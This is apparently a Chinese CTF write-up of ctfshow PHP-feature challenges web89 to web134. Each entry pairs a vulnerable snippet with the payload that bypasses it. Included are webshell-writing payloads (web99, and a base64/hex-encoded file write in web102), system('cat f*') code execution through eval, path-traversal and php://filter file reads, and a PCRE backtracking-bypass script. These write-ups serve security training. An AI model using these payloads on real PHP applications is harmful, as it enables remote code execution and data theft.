web89
1 2 3 4 5 6 7 8 9 10 11 12
| include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
正则匹配数字,利用数组转化的特性绕过匹配:
web90
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
知识点:
intval($num,$base)函数参数,第一个参数是要转化的值,第二个是要使用的基数(默认为10),
1 2 3 4
| echo intval("10"); echo intval("10", 2); echo intval("0x10",0); echo intval("010",0);
|
参数为0,表示跟据字符串进行识别进制,如果有不能识别的字符串,则一贯为0,例如“abc123”
web91
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
考察正则表达式(复习一下)
/i
:表示不区分大小写
/m
:表示多行匹配
-g
:全局匹配
-s
:包含换行符
%0a
:是换行的url编码
web92
额…跟web90一样的题
web93
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
过滤了字母A-Z和a-z,所以采用八进制进行转化
web94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
|
strpos()函数要求匹配字符串中出现0,但是使用?num=010574
不行,大概会自动去除前面的0后再匹配吧
使用小数进行绕过
web95
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
在字符串前面加上+
或者
,在strpos可以匹配到0,在intval仍被当作010574进行转化。
1
| ?num=%2b010574或者?num=%20010574
|
web96
1 2 3 4 5 6 7 8 9
| highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
|
使用相对路径即可,
?u=./flag.php
使用过滤器也是可以,但是这里考察php特性
web97
1 2 3 4 5 6 7 8 9 10
| include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
md5强比较,使用数组即可
a[]=1&b[]=2
web98
1 2 3 4 5
| include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
|
第一行代码只要使用get方法,可以将post内容传递给get。
第二第三行没发现有什么用…
第四行根据第一行,post:HTTP_FLAG=flag
web99
1 2 3 4 5 6 7 8
| highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
|
rand($min,$max)函数,array_push(),添加元素到数组。
in_array()函数弱比较漏洞,没有使用第三参数$strict,默认为False。
file_put_contents($filename,$data),基本这个两个参数,将$data写入$filename文件中。
?n=1.php
POST:content=
然后蚁剑连接或者直接访问1.php,再执行system函数
web100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
|
逻辑运算符优先级小于赋值运算符,
所以只要保证v1是数字就可以
两个正则:V2中没有分号,V3中有分号
根据提示flag在 ctfshow类中
v2=print_r($ctfshow)/*
或者v2=var_dump($ctfshow)
v3=*/;
使用注释将('ctfshow')
注释掉
web101
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
|
利用[PHP的反射机制](PHP反射机制 - 知乎 (zhihu.com))
?v1=1&v2=echo new ReflectionClass&v3=;
web102
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
|
思路:
将字符串base64编码后进行16进制转化为数字,这样就能通过is_numeric验证。
1 2 3 4 5 6 7
| <?php $a='<?=`cat *`;'; $b=base64_encode($a); echo $b; // PD89YGNhdCAqYDs= $c=bin2hex('PD89YGNhdCAqYDs'); echo $c; //5044383959474e6864434171594473 ?>
|
payload:
1 2
| get:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post:v1=hex2bin
|
web103
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
|
对字符串过滤了php子串
payload同上
web104
1 2 3 4 5 6 7 8 9 10
| highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
|
使用数组进行弱比较即可
get:v2[]=1
post:v1[]=1
web105
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
|
一道经典的变量覆盖的题目,关于$$
核心思想就是:$key=value1
$$key=value2
$$key=$value1=value2
这个里有两个die()输出变量$error
和$suces
利用覆盖这两个变量的值来输出flag的值。
$error
=$flag
get:a=flag // $a=$flag
post:error=a //$error=$a=$flag
推导一遍:
1 2 3 4 5
| a=flag //$key=a,$value=flag $$key=$a $$value=$flag 因为$$ket=$$value 所有$a=$flag
|
$suces=$flag
get:suces=flag
post:flag=
1 2 3
| get=> $suces=$flag post=> $flag= 所以$flag的值修改为空,if条件一定成立
|
web106
1 2 3 4 5 6 7 8 9 10
| highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
|
payload同web104
web107
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
}
|
parse_str()将字符串解析成多个变量:
1 2 3 4 5 6 7 8 9 10
| <?php parse_str("name=chenlong&passwd=123",$array); print_r($array); ?> 输出 Array ( [name] => chenlong [passwd] => 123 )
|
get:v3=flag
post:v1=flag=327a6c4304ad5938eaf0efb6cc3e53dc
web108
1 2 3 4 5 6 7 8 9 10 11 12
| highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
}
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
|
ereg函数:(在php5.3版本已经废弃)
1 2 3
| bool ereg(string $pattern, string $string [, array &$regs]) $pattern:要匹配的正则表达式模式。 $string:要在其中搜索匹配的字符串。
|
存在%00截断,$string为数组是,不会返回false
?c=a%00778
web 109
1 2 3 4 5 6 7 8 9 10 11
| highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }
}
|
使用反射机制
?v1=Reflectionclass&v2=system(‘cat f*’)
web110
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
}
|
使用FilesystemIterator获取目录
getcwd()获取当前工作目录
v1=FilesystemIterator&v2=getcwd
web111
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }
}
|
利用全局变量$GLOBALS
v1=ctfshow&v2=GLOBALS
web112
1 2 3 4 5 6 7 8 9 10 11 12 13
| function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
注:is_file()函数对php伪协议不认为是文件
利用php伪协议
直接读取
?file=php://filter/read/resource=flag.php
web113
1 2 3 4 5 6 7 8 9 10 11 12 13
| function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
比起上一题过滤了filter
字符串
使用compress.zlib
读取压缩流
file=compress.zlib://flag.php
linux里/proc/self/root
是指向根目录的,也就是如果在命令行中输入ls /proc/self/root
,其实显示的内容是根目录下的内容
多次重复后绕过is_file
。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
要使用多次/proc/self/root
绕过is_file(),不然不成功
web114
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
没有过滤filter
?file=php://filter/read/resource=flag.php
web115
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
|
直接上脚本跑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } for($i=0;$i<=128;$i++) { $num=chr($i).'36'; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36') { echo $i; } }
|
输出i=12
?num=%0c36
web123
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,such as:CTF[SHOW.COM=>CTF_SHOW.COM
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
web125
1 2 3 4 5 6 7 8 9 10 11
| include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
|
注:[$_SERVER[‘argv’]](PHP: $_SERVER - Manual)
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数.跟C语言的main参数一样
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
利用这个特点,可以构造:
post:CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1])
get:1=flag.php
web126
1 2 3 4 5 6 7 8 9 10 11
| include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
|
过滤了字符i,highlight不行。
使用eval
post:CTF_SHOW=6&CTF[SHOW.COM=6&fun=eval($a[0])
get:$f10g=flag_give_me;
web127
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];
function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } }
if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); }
if($ctf_show==='ilove36d'){ echo $flag; }
|
extract($_GET);的变量覆盖问题
只要get传入ctf_show==='ilove36d'
即可,但是过了下划线
这里利用php传参中点、+、空格、左中括号自动转化为下划线
这题只有空格没过滤
?ctf%20show=ilove36d
web129
1 2 3 4 5 6
| if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
|
stripos(string $haystack, string $needle, int $offset = 0): int|false
1 2 3 4 5
| 参数:
$haystack:输入字符串,需要在其中查找子串。 $needle:要查找的子串。 $offset(可选):搜索的起始位置,默认为 0。
|
要匹配有子串ctfshow
的文件
readfile()可以使用伪协议读取
?f=php://filter/ctfshow/resource=flag.php
查看源码即可
或者使用文件穿越读取
f1=/ctfshow/../../../../var/www/html/flag.php
web130
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
pre_match
不识别数组,会返回false,stripos也是
f=ctfshow[]
web131
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
利用[回溯次数绕过](PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)),如果超过了回溯次数,preg_march()会返回false
一般情况最大回溯为100百万个字符
1 2 3 4 5 6 7 8
| import requests
url='http://b2550b9c-06e6-40d1-b993-17381096c9be.challenge.ctf.show/' data={ 'f':'vary'*250000+'36Dctfshow' } r=requests.post(url=url,data=data).text print(r)
|
web132
1 2 3 4 5 6 7 8 9 10 11 12 13
| if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
|
只要设置$username=’admin’和code=‘admin’即可
web134
1 2 3 4 5 6 7 8 9 10
| $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
|
parse_str是对get请求进行的内容解析成变量。例如传递?a=1
,执行后就是$a=1
。extract() 函数将数组中的键值当作变量名。
?_POST[key1]=36d&_POST[key2]=36d